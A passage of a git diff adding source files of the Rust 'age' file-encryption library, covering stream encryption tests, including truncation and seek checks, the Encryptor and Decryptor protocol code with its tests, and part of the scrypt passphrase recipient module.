Stream::decrypt(PayloadKey([7; 32].into()), &encrypted[..]); + r.read_to_end(&mut buf).unwrap(); + buf + }; + + assert_eq!(decrypted, data); + } + + /// Check that we can encrypt an empty slice. + /// + /// This is the sole exception to the "last chunk must be non-empty" rule. + #[test] + fn stream_round_trip_empty() { + stream_round_trip(&[]); + } + + #[test] + fn stream_round_trip_short() { + stream_round_trip(&[42; 1024]); + } + + #[test] + fn stream_round_trip_chunk() { + stream_round_trip(&[42; CHUNK_SIZE]); + } + + #[test] + fn stream_round_trip_long() { + stream_round_trip(&[42; 100 * 1024]); + } + + #[cfg(feature = "async")] + fn stream_async_round_trip(data: &[u8]) { + let mut encrypted = vec![]; + { + let w = Stream::encrypt_async(PayloadKey([7; 32].into()), &mut encrypted); + pin_mut!(w); + + let mut cx = noop_context(); + + let mut tmp = data; + loop { + match w.as_mut().poll_write(&mut cx, tmp) { + Poll::Ready(Ok(0)) => break, + Poll::Ready(Ok(written)) => tmp = &tmp[written..], + Poll::Ready(Err(e)) => panic!("Unexpected error: {}", e), + Poll::Pending => panic!("Unexpected Pending"), + } + } + loop { + match w.as_mut().poll_close(&mut cx) { + Poll::Ready(Ok(())) => break, + Poll::Ready(Err(e)) => panic!("Unexpected error: {}", e), + Poll::Pending => panic!("Unexpected Pending"), + } + } + }; + + let decrypted = { + let mut buf = vec![]; + let r = Stream::decrypt_async(PayloadKey([7; 32].into()), &encrypted[..]); + pin_mut!(r); + + let mut cx = noop_context(); + + let mut tmp = [0; 4096]; + loop { + match r.as_mut().poll_read(&mut cx, &mut tmp) { + Poll::Ready(Ok(0)) => break buf, + Poll::Ready(Ok(read)) => buf.extend_from_slice(&tmp[..read]), + Poll::Ready(Err(e)) => panic!("Unexpected error: {}", e), + Poll::Pending => panic!("Unexpected Pending"), + } + } + }; + + assert_eq!(decrypted, data); + } + + #[cfg(feature = "async")] + #[test] + fn stream_async_round_trip_short() { + stream_async_round_trip(&[42; 1024]); + } + + #[cfg(feature = "async")] + #[test] + fn stream_async_round_trip_chunk() { + stream_async_round_trip(&[42; CHUNK_SIZE]); + } + + #[cfg(feature = "async")] + #[test] + fn stream_async_round_trip_long() { + stream_async_round_trip(&[42; 100 * 1024]); + } + + #[cfg(feature = "async")] + fn stream_async_io_copy(data: &[u8]) { + use futures::AsyncWriteExt; + + let runtime = tokio::runtime::Builder::new_current_thread() + .build() + .unwrap(); + let mut encrypted = vec![]; + let result = runtime.block_on(async { + let mut w = Stream::encrypt_async(PayloadKey([7; 32].into()), &mut encrypted); + match futures::io::copy(data, &mut w).await { + Ok(written) => { + w.close().await.unwrap(); + Ok(written) + } + Err(e) => Err(e), + } + }); + + match result { + Ok(written) => assert_eq!(written, data.len() as u64), + Err(e) => panic!("Unexpected error: {}", e), + } + + let decrypted = { + let mut buf = vec![]; + let result = runtime.block_on(async { + let r = Stream::decrypt_async(PayloadKey([7; 32].into()), &encrypted[..]); + futures::io::copy(r, &mut buf).await + }); + + match result { + Ok(written) => assert_eq!(written, data.len() as u64), + Err(e) => panic!("Unexpected error: {}", e), + } + + buf + }; + + assert_eq!(decrypted, data); + } + + #[cfg(feature = "async")] + #[test] + fn stream_async_io_copy_short() { + stream_async_io_copy(&[42; 1024]); + } + + #[cfg(feature = "async")] + #[test] + fn stream_async_io_copy_chunk() { + stream_async_io_copy(&[42; CHUNK_SIZE]); + } + + #[cfg(feature = "async")] + #[test] + fn stream_async_io_copy_long() { + stream_async_io_copy(&[42; 100 * 1024]); + } + + #[test] + fn stream_fails_to_decrypt_truncated_file() { + let data = vec![42; 2 * CHUNK_SIZE]; + + let mut encrypted = vec![]; + { + let mut w = Stream::encrypt(PayloadKey([7; 32].into()), &mut encrypted); + w.write_all(&data).unwrap(); + // Forget to call w.finish()! + }; + + let mut buf = vec![]; + let mut r = Stream::decrypt(PayloadKey([7; 32].into()), &encrypted[..]); + assert_eq!( + r.read_to_end(&mut buf).unwrap_err().kind(), + io::ErrorKind::UnexpectedEof + ); + } + + #[test] + fn stream_seeking() { + let mut data = vec![0; 100 * 1024]; + for (i, b) in data.iter_mut().enumerate() { + *b = i as u8; + } + + let mut encrypted = vec![]; + { + let mut w = Stream::encrypt(PayloadKey([7; 32].into()), &mut encrypted); + w.write_all(&data).unwrap(); + w.finish().unwrap(); + }; + + let mut r = Stream::decrypt(PayloadKey([7; 32].into()), Cursor::new(encrypted)); + + // Read through into the second chunk + let mut buf = vec![0; 100]; + for i in 0..700 { + r.read_exact(&mut buf).unwrap(); + assert_eq!(&buf[..], &data[100 * i..100 * (i + 1)]); + } + + // Seek back into the first chunk + r.seek(SeekFrom::Start(250)).unwrap(); + r.read_exact(&mut buf).unwrap(); + assert_eq!(&buf[..], &data[250..350]); + + // Seek forwards within this chunk + r.seek(SeekFrom::Current(510)).unwrap(); + r.read_exact(&mut buf).unwrap(); + assert_eq!(&buf[..], &data[860..960]); + + // Seek backwards from the end + r.seek(SeekFrom::End(-1337)).unwrap(); + r.read_exact(&mut buf).unwrap(); + assert_eq!(&buf[..], &data[data.len() - 1337..data.len() - 1237]); + } + + #[test] + fn seek_from_end_fails_on_truncation() { + // The plaintext is the string "hello" followed by 65536 zeros, just enough to + // give us some bytes to play with in the second chunk. + let mut plaintext: Vec = b"hello".to_vec(); + plaintext.extend_from_slice(&[0; 65536]); + + // Encrypt the plaintext just like the example code in the docs. + let mut encrypted = vec![]; + { + let mut w = Stream::encrypt(PayloadKey([7; 32].into()), &mut encrypted); + w.write_all(&plaintext).unwrap(); + w.finish().unwrap(); + }; + + // First check the correct behavior of seeks relative to EOF. Create a decrypting + // reader, and move it one byte forward from the start, using SeekFrom::End. + // Confirm that reading 4 bytes from that point gives us "ello", as it should. + let mut reader = Stream::decrypt(PayloadKey([7; 32].into()), Cursor::new(&encrypted)); + let eof_relative_offset = 1_i64 - plaintext.len() as i64; + reader.seek(SeekFrom::End(eof_relative_offset)).unwrap(); + let mut buf = [0; 4]; + reader.read_exact(&mut buf).unwrap(); + assert_eq!(&buf, b"ello", "This is correct."); + + // Do the same thing again, except this time truncate the ciphertext by one byte + // first. This should cause some sort of error, instead of a successful read that + // returns the wrong plaintext. + let truncated_ciphertext = &encrypted[..encrypted.len() - 1]; + let mut truncated_reader = Stream::decrypt( + PayloadKey([7; 32].into()), + Cursor::new(truncated_ciphertext), + ); + // Use the same seek target as above. + match truncated_reader.seek(SeekFrom::End(eof_relative_offset)) { + Err(e) => { + assert_eq!(e.kind(), io::ErrorKind::InvalidData); + assert_eq!( + &e.to_string(), + "Last chunk is invalid, stream might be truncated", + ); + } + Ok(_) => panic!("This is a security issue."), + } + } + + #[test] + fn seek_from_end_with_exact_chunk() { + let plaintext: Vec = vec![42; 65536]; + + // Encrypt the plaintext just like the example code in the docs. + let mut encrypted = vec![]; + { + let mut w = Stream::encrypt(PayloadKey([7; 32].into()), &mut encrypted); + w.write_all(&plaintext).unwrap(); + w.finish().unwrap(); + }; + + // Seek to the end of the plaintext before decrypting. + let mut reader = Stream::decrypt(PayloadKey([7; 32].into()), Cursor::new(&encrypted)); + reader.seek(SeekFrom::End(0)).unwrap(); + + // Reading should return no bytes, because we're already at EOF. + let mut buf = Vec::new(); + reader.read_to_end(&mut buf).unwrap(); + assert_eq!(buf.len(), 0); + } +} diff --git a/lib/rage/age/src/protocol.rs b/lib/rage/age/src/protocol.rs new file mode 100644 index 0000000..a29c447 --- /dev/null +++ b/lib/rage/age/src/protocol.rs @@ -0,0 +1,589 @@ +//! Encryption and decryption routines for age. + +use age_core::{format::is_arbitrary_string, secrecy::SecretString}; +use rand::{rngs::OsRng, RngCore}; + +use std::io::{self, BufRead, Read, Write}; +use std::iter; + +use crate::{ + error::{DecryptError, EncryptError}, + format::{Header, HeaderV1}, + keys::{mac_key, new_file_key, v1_payload_key}, + primitives::stream::{PayloadKey, Stream, StreamReader, StreamWriter}, + scrypt, Identity, Recipient, +}; + +#[cfg(feature = "async")] +use futures::io::{AsyncBufRead, AsyncRead, AsyncReadExt, AsyncWrite, AsyncWriteExt}; + +pub(crate) struct Nonce([u8; 16]); + +impl AsRef<[u8]> for Nonce { + fn as_ref(&self) -> &[u8] { + &self.0 + } +} + +impl Nonce { + fn random() -> Self { + let mut nonce = [0; 16]; + OsRng.fill_bytes(&mut nonce); + Nonce(nonce) + } + + fn read(input: &mut R) -> io::Result { + let mut nonce = [0; 16]; + input.read_exact(&mut nonce)?; + Ok(Nonce(nonce)) + } + + #[cfg(feature = "async")] + #[cfg_attr(docsrs, doc(cfg(feature = "async")))] + async fn read_async(input: &mut R) -> io::Result { + let mut nonce = [0; 16]; + input.read_exact(&mut nonce).await?; + Ok(Nonce(nonce)) + } +} + +/// Encryptor for creating an age file. +pub struct Encryptor { + header: Header, + nonce: Nonce, + payload_key: PayloadKey, +} + +impl Encryptor { + /// Returns an `Encryptor` that will create an age file encrypted with a passphrase. + /// Anyone with the passphrase can decrypt the file. + /// + /// This API should only be used with a passphrase that was provided by (or generated + /// for) a human. For programmatic use cases, instead generate an [`x25519::Identity`] + /// and then use [`Encryptor::with_recipients`]. + /// + /// [`x25519::Identity`]: crate::x25519::Identity + pub fn with_user_passphrase(passphrase: SecretString) -> Self { + Self::with_recipients(iter::once(&scrypt::Recipient::new(passphrase) as _)) + .expect("no errors can occur with this recipient set") + } + + /// Constructs an `Encryptor` that will create an age file encrypted to a list of + /// recipients. + pub fn with_recipients<'a>( + recipients: impl Iterator, + ) -> Result { + let file_key = new_file_key(); + + let recipients = { + let mut control = None; + + let mut stanzas = vec![]; + let mut have_recipients = false; + for recipient in recipients { + have_recipients = true; + let (mut r_stanzas, r_labels) = recipient.wrap_file_key(&file_key)?; + + if let Some(l_labels) = control.take() { + if l_labels != r_labels { + // Improve error message. + let err = if stanzas + .iter() + .chain(&r_stanzas) + .any(|stanza| stanza.tag == crate::scrypt::SCRYPT_RECIPIENT_TAG) + { + EncryptError::MixedRecipientAndPassphrase + } else { + EncryptError::IncompatibleRecipients { l_labels, r_labels } + }; + return Err(err); + } + control = Some(l_labels); + } else if r_labels.iter().all(is_arbitrary_string) { + control = Some(r_labels); + } else { + return Err(EncryptError::InvalidRecipientLabels(r_labels)); + } + + stanzas.append(&mut r_stanzas); + } + if !have_recipients { + return Err(EncryptError::MissingRecipients); + } + stanzas + }; + + let header = HeaderV1::new(recipients, mac_key(&file_key))?; + let nonce = Nonce::random(); + let payload_key = v1_payload_key(&file_key, &header, &nonce).expect("MAC is correct"); + + Ok(Self { + header: Header::V1(header), + nonce, + payload_key, + }) + } + + /// Creates a wrapper around a writer that will encrypt its input. + /// + /// Returns errors from the underlying writer while writing the header. + /// + /// You **MUST** call [`StreamWriter::finish`] when you are done writing, in order to + /// finish the encryption process. Failing to call [`StreamWriter::finish`] will + /// result in a truncated file that will fail to decrypt. + pub fn wrap_output(self, mut output: W) -> io::Result> { + let Self { + header, + nonce, + payload_key, + } = self; + header.write(&mut output)?; + output.write_all(nonce.as_ref())?; + Ok(Stream::encrypt(payload_key, output)) + } + + /// Creates a wrapper around a writer that will encrypt its input. + /// + /// Returns errors from the underlying writer while writing the header. + /// + /// You **MUST** call [`AsyncWrite::poll_close`] when you are done writing, in order + /// to finish the encryption process. Failing to call [`AsyncWrite::poll_close`] + /// will result in a truncated file that will fail to decrypt. + #[cfg(feature = "async")] + #[cfg_attr(docsrs, doc(cfg(feature = "async")))] + pub async fn wrap_async_output( + self, + mut output: W, + ) -> io::Result> { + let Self { + header, + nonce, + payload_key, + } = self; + header.write_async(&mut output).await?; + output.write_all(nonce.as_ref()).await?; + Ok(Stream::encrypt_async(payload_key, output)) + } +} + +/// Decryptor for an age file. +pub struct Decryptor { + /// The age file. + input: R, + /// The age file's header. + header: Header, + /// The age file's AEAD nonce + nonce: Nonce, +} + +impl Decryptor { + fn from_v1_header(input: R, header: HeaderV1, nonce: Nonce) -> Result { + // Enforce structural requirements on the v1 header. + if header.is_valid() { + Ok(Self { + input, + header: Header::V1(header), + nonce, + }) + } else { + Err(DecryptError::InvalidHeader) + } + } + + /// Returns `true` if the age file is encrypted to a passphrase. + pub fn is_scrypt(&self) -> bool { + match &self.header { + Header::V1(header) => header.valid_scrypt(), + Header::Unknown(_) => false, + } + } + + fn obtain_payload_key<'a>( + &self, + mut identities: impl Iterator, + ) -> Result { + match &self.header { + Header::V1(header) => identities + .find_map(|key| key.unwrap_stanzas(&header.recipients)) + .unwrap_or(Err(DecryptError::NoMatchingKeys)) + .and_then(|file_key| v1_payload_key(&file_key, header, &self.nonce)), + Header::Unknown(_) => unreachable!(), + } + } +} + +impl Decryptor { + /// Attempts to create a decryptor for an age file. + /// + /// Returns an error if the input does not contain a valid age file. + /// + /// # Performance + /// + /// This constructor will work with any type implementing [`io::Read`], and uses a + /// slower parser and internal buffering to ensure no overreading occurs. Consider + /// using [`Decryptor::new_buffered`] for types implementing `std::io::BufRead`, which + /// includes `&[u8]` slices. + pub fn new(mut input: R) -> Result { + let header = Header::read(&mut input)?; + + match header { + Header::V1(v1_header) => { + let nonce = Nonce::read(&mut input)?; + Decryptor::from_v1_header(input, v1_header, nonce) + } + Header::Unknown(_) => Err(DecryptError::UnknownFormat), + } + } + + /// Attempts to decrypt the age file. + /// + /// If successful, returns a reader that will provide the plaintext. + pub fn decrypt<'a>( + self, + identities: impl Iterator, + ) -> Result, DecryptError> { + self.obtain_payload_key(identities) + .map(|payload_key| Stream::decrypt(payload_key, self.input)) + } +} + +impl Decryptor { + /// Attempts to create a decryptor for an age file. + /// + /// Returns an error if the input does not contain a valid age file. + /// + /// # Performance + /// + /// This constructor is more performant than [`Decryptor::new`] for types implementing + /// [`io::BufRead`], which includes `&[u8]` slices. + pub fn new_buffered(mut input: R) -> Result { + let header = Header::read_buffered(&mut input)?; + + match header { + Header::V1(v1_header) => { + let nonce = Nonce::read(&mut input)?; + Decryptor::from_v1_header(input, v1_header, nonce) + } + Header::Unknown(_) => Err(DecryptError::UnknownFormat), + } + } +} + +#[cfg(feature = "async")] +#[cfg_attr(docsrs, doc(cfg(feature = "async")))] +impl Decryptor { + /// Attempts to create a decryptor for an age file. + /// + /// Returns an error if the input does not contain a valid age file. + /// + /// # Performance + /// + /// This constructor will work with any type implementing [`AsyncRead`], and uses a + /// slower parser and internal buffering to ensure no overreading occurs. Consider + /// using [`Decryptor::new_async_buffered`] for types implementing [`AsyncBufRead`], + /// which includes `&[u8]` slices. + pub async fn new_async(mut input: R) -> Result { + let header = Header::read_async(&mut input).await?; + + match header { + Header::V1(v1_header) => { + let nonce = Nonce::read_async(&mut input).await?; + Decryptor::from_v1_header(input, v1_header, nonce) + } + Header::Unknown(_) => Err(DecryptError::UnknownFormat), + } + } + + /// Attempts to decrypt the age file. + /// + /// If successful, returns a reader that will provide the plaintext. + pub fn decrypt_async<'a>( + self, + identities: impl Iterator, + ) -> Result, DecryptError> { + self.obtain_payload_key(identities) + .map(|payload_key| Stream::decrypt_async(payload_key, self.input)) + } +} + +#[cfg(feature = "async")] +#[cfg_attr(docsrs, doc(cfg(feature = "async")))] +impl Decryptor { + /// Attempts to create a decryptor for an age file. + /// + /// Returns an error if the input does not contain a valid age file. + /// + /// # Performance + /// + /// This constructor is more performant than [`Decryptor::new_async`] for types + /// implementing [`AsyncBufRead`], which includes `&[u8]` slices. + pub async fn new_async_buffered(mut input: R) -> Result { + let header = Header::read_async_buffered(&mut input).await?; + + match header { + Header::V1(v1_header) => { + let nonce = Nonce::read_async(&mut input).await?; + Decryptor::from_v1_header(input, v1_header, nonce) + } + Header::Unknown(_) => Err(DecryptError::UnknownFormat), + } + } +} + +#[cfg(test)] +mod tests { + use std::collections::HashSet; + use std::io::{BufReader, Read, Write}; + + use age_core::secrecy::SecretString; + + #[cfg(feature = "ssh")] + use std::iter; + + use super::{Decryptor, Encryptor}; + use crate::{identity::IdentityFile, scrypt, x25519, EncryptError, Identity, Recipient}; + + #[cfg(feature = "async")] + use futures::{ + io::{AsyncRead, AsyncWrite}, + pin_mut, + task::Poll, + Future, + }; + #[cfg(feature = "async")] + use futures_test::task::noop_context; + + fn recipient_round_trip<'a>( + recipients: impl Iterator, + identities: impl Iterator, + ) { + let test_msg = b"This is a test message. For testing."; + + let mut encrypted = vec![]; + let e = Encryptor::with_recipients(recipients).unwrap(); + { + let mut w = e.wrap_output(&mut encrypted).unwrap(); + w.write_all(test_msg).unwrap(); + w.finish().unwrap(); + } + + let d = Decryptor::new(&encrypted[..]).unwrap(); + let mut r = d.decrypt(identities).unwrap(); + let mut decrypted = vec![]; + r.read_to_end(&mut decrypted).unwrap(); + + assert_eq!(&decrypted[..], &test_msg[..]); + } + + #[cfg(feature = "async")] + fn recipient_async_round_trip<'a>( + recipients: impl Iterator, + identities: impl Iterator, + ) { + let test_msg = b"This is a test message. For testing."; + let mut cx = noop_context(); + + let mut encrypted = vec![]; + let e = Encryptor::with_recipients(recipients).unwrap(); + { + let w = { + let f = e.wrap_async_output(&mut encrypted); + pin_mut!(f); + + loop { + match f.as_mut().poll(&mut cx) { + Poll::Ready(Ok(w)) => break w, + Poll::Ready(Err(e)) => panic!("Unexpected error: {}", e), + Poll::Pending => panic!("Unexpected Pending"), + } + } + }; + pin_mut!(w); + + let mut tmp = &test_msg[..]; + loop { + match w.as_mut().poll_write(&mut cx, tmp) { + Poll::Ready(Ok(0)) => break, + Poll::Ready(Ok(written)) => tmp = &tmp[written..], + Poll::Ready(Err(e)) => panic!("Unexpected error: {}", e), + Poll::Pending => panic!("Unexpected Pending"), + } + } + loop { + match w.as_mut().poll_close(&mut cx) { + Poll::Ready(Ok(())) => break, + Poll::Ready(Err(e)) => panic!("Unexpected error: {}", e), + Poll::Pending => panic!("Unexpected Pending"), + } + } + } + + let d = { + let f = Decryptor::new_async(&encrypted[..]); + pin_mut!(f); + + loop { + match f.as_mut().poll(&mut cx) { + Poll::Ready(Ok(w)) => break w, + Poll::Ready(Err(e)) => panic!("Unexpected error: {}", e), + Poll::Pending => panic!("Unexpected Pending"), + } + } + }; + + let decrypted = { + let mut buf = vec![]; + let r = d.decrypt_async(identities).unwrap(); + pin_mut!(r); + + let mut tmp = [0; 4096]; + loop { + match r.as_mut().poll_read(&mut cx, &mut tmp) { + Poll::Ready(Ok(0)) => break buf, + Poll::Ready(Ok(read)) => buf.extend_from_slice(&tmp[..read]), + Poll::Ready(Err(e)) => panic!("Unexpected error: {}", e), + Poll::Pending => panic!("Unexpected Pending"), + } + } + }; + + assert_eq!(&decrypted[..], &test_msg[..]); + } + + #[test] + fn x25519_round_trip() { + let buf = BufReader::new(crate::x25519::tests::TEST_SK.as_bytes()); + let f = IdentityFile::from_buffer(buf).unwrap(); + let pk: x25519::Recipient = crate::x25519::tests::TEST_PK.parse().unwrap(); + recipient_round_trip( + iter::once(&pk as _), + f.into_identities().unwrap().iter().map(|i| i.as_ref()), + ); + } + + #[cfg(feature = "async")] + #[test] + fn x25519_async_round_trip() { + let buf = BufReader::new(crate::x25519::tests::TEST_SK.as_bytes()); + let f = IdentityFile::from_buffer(buf).unwrap(); + let pk: x25519::Recipient = crate::x25519::tests::TEST_PK.parse().unwrap(); + recipient_async_round_trip( + iter::once(&pk as _), + f.into_identities().unwrap().iter().map(|i| i.as_ref()), + ); + } + + #[test] + fn scrypt_round_trip() { + let test_msg = b"This is a test message. For testing."; + + let mut recipient = scrypt::Recipient::new(SecretString::from("passphrase".to_string())); + // Override to something very fast for testing. + recipient.set_work_factor(2); + + let mut encrypted = vec![]; + let e = Encryptor::with_recipients(iter::once(&recipient as _)).unwrap(); + { + let mut w = e.wrap_output(&mut encrypted).unwrap(); + w.write_all(test_msg).unwrap(); + w.finish().unwrap(); + } + + let d = Decryptor::new(&encrypted[..]).unwrap(); + let mut r = d + .decrypt( + Some(&scrypt::Identity::new(SecretString::from("passphrase".to_string())) as _) + .into_iter(), + ) + .unwrap(); + let mut decrypted = vec![]; + r.read_to_end(&mut decrypted).unwrap(); + + assert_eq!(&decrypted[..], &test_msg[..]); + } + + #[cfg(feature = "ssh")] + #[test] + fn ssh_rsa_round_trip() { + let buf = BufReader::new(crate::ssh::identity::tests::TEST_SSH_RSA_SK.as_bytes()); + let sk = crate::ssh::identity::Identity::from_buffer(buf, None).unwrap(); + let pk: crate::ssh::Recipient = crate::ssh::recipient::tests::TEST_SSH_RSA_PK + .parse() + .unwrap(); + recipient_round_trip(iter::once(&pk as _), iter::once(&sk as &dyn Identity)); + } + + #[cfg(all(feature = "ssh", feature = "async"))] + #[test] + fn ssh_rsa_async_round_trip() { + let buf = BufReader::new(crate::ssh::identity::tests::TEST_SSH_RSA_SK.as_bytes()); + let sk = crate::ssh::identity::Identity::from_buffer(buf, None).unwrap(); + let pk: crate::ssh::Recipient = crate::ssh::recipient::tests::TEST_SSH_RSA_PK + .parse() + .unwrap(); + recipient_async_round_trip(iter::once(&pk as _), iter::once(&sk as &dyn Identity)); + } + + #[cfg(feature = "ssh")] + #[test] + fn ssh_ed25519_round_trip() { + let buf = BufReader::new(crate::ssh::identity::tests::TEST_SSH_ED25519_SK.as_bytes()); + let sk = crate::ssh::identity::Identity::from_buffer(buf, None).unwrap(); + let pk: crate::ssh::Recipient = crate::ssh::recipient::tests::TEST_SSH_ED25519_PK + .parse() + .unwrap(); + recipient_round_trip(iter::once(&pk as _), iter::once(&sk as &dyn Identity)); + } + + #[cfg(all(feature = "ssh", feature = "async"))] + #[test] + fn ssh_ed25519_async_round_trip() { + let buf = BufReader::new(crate::ssh::identity::tests::TEST_SSH_ED25519_SK.as_bytes()); + let sk = crate::ssh::identity::Identity::from_buffer(buf, None).unwrap(); + let pk: crate::ssh::Recipient = crate::ssh::recipient::tests::TEST_SSH_ED25519_PK + .parse() + .unwrap(); + recipient_async_round_trip(iter::once(&pk as _), iter::once(&sk as &dyn Identity)); + } + + #[test] + fn mixed_recipient_and_passphrase() { + let pk: x25519::Recipient = crate::x25519::tests::TEST_PK.parse().unwrap(); + let passphrase = + crate::scrypt::Recipient::new(SecretString::from("passphrase".to_string())); + + let recipients = [&pk as &dyn Recipient, &passphrase as _]; + + assert!(matches!( + Encryptor::with_recipients(recipients.into_iter()), + Err(EncryptError::MixedRecipientAndPassphrase), + )); + } + + struct IncompatibleRecipient(crate::x25519::Recipient); + + impl Recipient for IncompatibleRecipient { + fn wrap_file_key( + &self, + file_key: &age_core::format::FileKey, + ) -> Result<(Vec, HashSet), EncryptError> { + self.0.wrap_file_key(file_key).map(|(stanzas, mut labels)| { + labels.insert("incompatible".into()); + (stanzas, labels) + }) + } + } + + #[test] + fn incompatible_recipients() { + let pk: x25519::Recipient = crate::x25519::tests::TEST_PK.parse().unwrap(); + let incompatible = IncompatibleRecipient(pk.clone()); + + let recipients = [&pk as &dyn Recipient, &incompatible as _]; + + assert!(matches!( + Encryptor::with_recipients(recipients.into_iter()), + Err(EncryptError::IncompatibleRecipients { .. }), + )); + } +} diff --git a/lib/rage/age/src/scrypt.rs b/lib/rage/age/src/scrypt.rs new file mode 100644 index 0000000..60938e8 --- /dev/null +++ b/lib/rage/age/src/scrypt.rs @@ -0,0 +1,271 @@ +//! The "scrypt" passphrase-based recipient type, native to age. + +use std::collections::HashSet; +use std::iter; +use std::time::Duration; + +use age_core::{ + format::{FileKey, Stanza, FILE_KEY_BYTES}, + primitives::{aead_decrypt, aead_encrypt}, + secrecy::{ExposeSecret, SecretString}, +}; +use base64::{prelude::BASE64_STANDARD_NO_PAD, Engine}; +use rand::{ + distributions::{Alphanumeric, DistString}, + rngs::OsRng, + RngCore, +}; +use zeroize::Zeroize; + +use crate::{ + error::{DecryptError, EncryptError}, + primitives::scrypt, + util::read::{base64_arg, decimal_digit_arg}, +}; + +pub(super) const SCRYPT_RECIPIENT_TAG: &str = "scrypt"; +const SCRYPT_SALT_LABEL: &[u8] = b"age-encryption.org/v1/scrypt"; +const ONE_SECOND: Duration = Duration::from_secs(1); + +const SALT_LEN: usize = 16; +const ENCRYPTED_FILE_KEY_BYTES: usize = FILE_KEY_BYTES + 16; + +/// Pick an scrypt work factor that will take around 1 second on this device. +/// +/// Guaranteed to return a valid work factor (less than 64). +fn target_scrypt_work_factor() -> u8 { + let measure_duration = |log_n| { + // Platforms that have a functional SystemTime::now(): + #[cfg(not(all(target_arch = "wasm32", not(target_os = "wasi"))))] + { + use std::time::SystemTime; + let start = SystemTime::now(); + scrypt(&[], log_n, "").expect("log_n < 64"); + SystemTime::now().duration_since(start).ok() + } + + // Platforms that can use Performance timer + #[cfg(all(target_arch = "wasm32", not(target_os = "wasi"), feature = "web-sys"))] + { + web_sys::window().and_then(|window| { + { window.performance() }.map(|performance| { + let start = performance.now(); + scrypt(&[], log_n, "").expect("log_n < 64"); + Duration::from_secs_f64((performance.now() - start) / 1_000e0) + }) + }) + } + + // Platforms where SystemTime::now() panics: + #[cfg(all( + target_arch = "wasm32", + not(target_os = "wasi"), + not(feature = "web-sys") + ))] + { + None + } + }; + + // Time a work factor that should always be fast. + let mut log_n = 10; + let mut duration: Option = measure_duration(log_n); + while duration.map(|d| d.is_zero()).unwrap_or(false) { + // On some newer platforms, the work factor may be so fast that it is cannot be + // measured. Increase the work factor until we can measure something. + log_n += 1; + duration = measure_duration(log_n); + } + + duration + .map(|mut d| { + // Use duration as a proxy for CPU usage, which scales linearly with N. + while d < ONE_SECOND && log_n < 63 { + log_n += 1; + d *= 2; + } + log_n + }) + .unwrap_or({ + // Couldn't measure, so guess. This is roughly 1 second on a modern machine. + 18 + }) +} + +/// A passphrase-based recipient. Anyone with the passphrase can decrypt the file. +/// +/// If an `scrypt::Recipient` is used, it must be the only recipient for the file: it +/// can't be mixed with other recipient types and can't be used multiple times for the +/// same file. +/// +/// This API should only be used with a passphrase that was provided by (or generated +/// for) a human. For programmatic use cases, instead generate an [`x25519::Identity`]. +/// +/// [`x25519::Identity`]: crate::x25519::Identity +pub struct Recipient { + passphrase: SecretString, + log_n: u8, +} + +impl Recipient { + /// Constructs a new `Recipient` with the given passphrase. + /// + /// The scrypt work factor is picked to target about 1 second for encryption or + /// decryption on this device. Override it with [`Self::set_work_factor`]. + pub fn new(passphrase: SecretString) -> Self { + Self { + passphrase, + log_n: target_scrypt_work_factor(), + } + } + + /// Sets the scrypt work factor to `N = 2^log_n`. + /// + /// This method must be called before [`Self::wrap_file_key`] to have an effect. + /// + /// [`Self::wrap_file_key`]: crate::Recipient::wrap_file_key + /// + /// # Panics + /// + /// Panics if `log_n == 0` or `log_n >= 64`. + pub fn set_work_factor(&mut self, log_n: u8) { + assert!(0 < log_n && log_n < 64); + self.log_n = log_n; + } +} + +impl crate::Recipient for Recipient { + fn wrap_file_key( + &self, + file_key: &FileKey, + ) -> Result<(Vec, HashSet), EncryptError> { + let mut rng = OsRng; + + let mut salt = [0; SALT_LEN]; + rng.fill_bytes(&mut salt); + + let mut inner_salt = [0; SCRYPT_SALT_LABEL.len() + SALT_LEN]; + inner_salt[..SCRYPT_SALT_LABEL.len()].copy_from_slice(SCRYPT_SALT_LABEL); + inner_salt[SCRYPT_SALT_LABEL.len()..].copy_from_slice(&salt); + + let enc_key = + scrypt(&inner_salt, self.log_n, self.passphrase.expose_secret()).expect("log_n < 64"); + let encrypted_file_key = aead_encrypt(&enc_key, file_key.expose_secret()); + + let encoded_salt = BASE64_STANDARD_NO_PAD.encode(salt); + + let label = Alphanumeric.sample_string(&mut rng, 32); + + Ok(( + vec![Stanza { + tag: SCRYPT_RECIPIENT_TAG.to_owned(), + args: vec![encoded_salt, format!("{}", self.log_n)], + body: encrypted_file_key, + }], + iter::once(label).collect(), + )) + } +} + +/// A passphrase-based identity. Anyone with the passphrase can decrypt the file. +/// +/// The identity caps the amount of work that the [`Decryptor`] might have to do to +/// process received files. A fairly high default is used (targeting roughly 16 seconds of +/// work per stanza on the current machine), which might not be suitable for systems +/// processing untrusted files. +/// +/// [`Decryptor`]: crate::Decryptor +pub struct Identity { + passphrase: SecretString, + target_work_factor: u8, + max_work_factor: u8, +} + +impl Identity { + /// Constructs a new `Identity` with the given passphrase. + pub fn new(passphrase: SecretString) -> Self { + let target_work_factor = target_scrypt_work_factor(); + + // Place bounds on the work factor we will accept (roughly 16 seconds). + let max_work_factor = target_work_factor + 4; + + Self { + passphrase, + target_work_factor, + max_work_factor, + } + } + + /// Sets the maximum accepted scrypt work factor to `N = 2^max_log_n`. + /// + /// This method must be called before [`Self::unwrap_stanza`] to have an effect. + /// + /// [`Self::unwrap_stanza`]: crate::Identity::unwrap_stanza + pub fn set_max_work_factor(&mut self, max_log_n: u8) { + self.max_work_factor = max_log_n; + } +} + +impl crate::Identity for Identity { + fn unwrap_stanza(&self, stanza: &Stanza) -> Option> { + if stanza.tag != SCRYPT_RECIPIENT_TAG { + return None; + } + + // Enforce valid and canonical stanza format. + // https://c2sp.org/age#scrypt-recipient-stanza + let (salt, log_n) = match &stanza.args[..] { + [salt, log_n] => match ( + base64_arg::<_, SALT_LEN, 18>(salt), + decimal_digit_arg(log_n), + ) { + (Some(salt), Some(log_n)) => (salt, log_n), + _ => return Some(Err(DecryptError::InvalidHeader)), + }, + _ => return Some(Err(DecryptError::InvalidHeader)), + }; + if stanza.body.len() != ENCRYPTED_FILE_KEY_BYTES { + return Some(Err(DecryptError::InvalidHeader)); + } + + if log_n > self.max_work_factor { + return Some(Err(DecryptError::ExcessiveWork { + required: log_n, + target: self.target_work_factor, + })); + } + + let mut inner_salt = [0; SCRYPT_SALT_LABEL.len() + SALT_LEN]; + inner_salt[..SCRYPT_SALT_LABEL.len()].copy_from_slice(SCRYPT_SALT_LABEL); + inner_salt[SCRYPT_SALT_LABEL.len()..].copy_from_slice(&salt); + + let enc_key = match scrypt(&inner_salt, log_n, self.passphrase.expose_secret()) { + Ok(k) => k, + Err(_) => { + return 